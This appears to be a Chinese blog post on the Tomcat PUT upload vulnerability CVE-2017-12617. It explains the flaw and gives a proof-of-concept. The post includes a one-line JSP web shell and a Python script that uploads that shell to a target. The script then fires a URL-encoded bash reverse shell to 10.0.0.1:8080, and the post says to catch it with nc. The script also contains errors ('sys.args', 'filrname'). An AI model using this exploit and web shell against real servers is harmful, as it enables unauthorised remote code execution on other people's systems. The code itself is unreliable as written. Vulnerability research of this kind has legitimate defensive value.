Tomcat远程任意代码执行漏洞及其POC(CVE-2017-12617)

一、原理分析:

只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false,则Tomcat可以不经任何身份验证的控制直接接收PUT方式上传的文件,无论上传者是任何人,也无论上传的是任何文件。此时可以上传jsp文件,直接执行jsp代码。

二、实例分析:

我们上传1.txt,直接返回了201成功

不幸的是找到的这个环境对jsp上传是失败的,所以在一定程度上防止了getshell的。

如果能够上传jsp,只需传一个木马上去,执行反弹shell的命令,就可以搞定了。

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

然后我们可以写一个脚本来搞定

三、验证POC:

poc的流程其实很简单,requests库发起put请求,上传payload如上,然后直接访问对应的url反弹shell就行。

只写出关键代码

import sys
import uuid
import requests
targetip = sys.args[1]
targetport = sys.args[2]
filename = uuid.uuid1()
targeturl = "https://%s:%s/%s.jsp"%(targetip,targetport,filrname)
response = requests.put(targeturl,data='<%Runtime.getRuntime().exec(request.getParameter("i"));%>')
if response.status_code == 201:
     print "YES"
     requests.get(targeturl+"?i=%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%30%2e%31%2f%38%30%38%30%20%30%3e%26%31%0a")

参数i的部分URL编码后的:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

只需要自己用nc监听者端口就可以了。

原文地址:https://www.cnblogs.com/KevinGeorge/p/8523959.html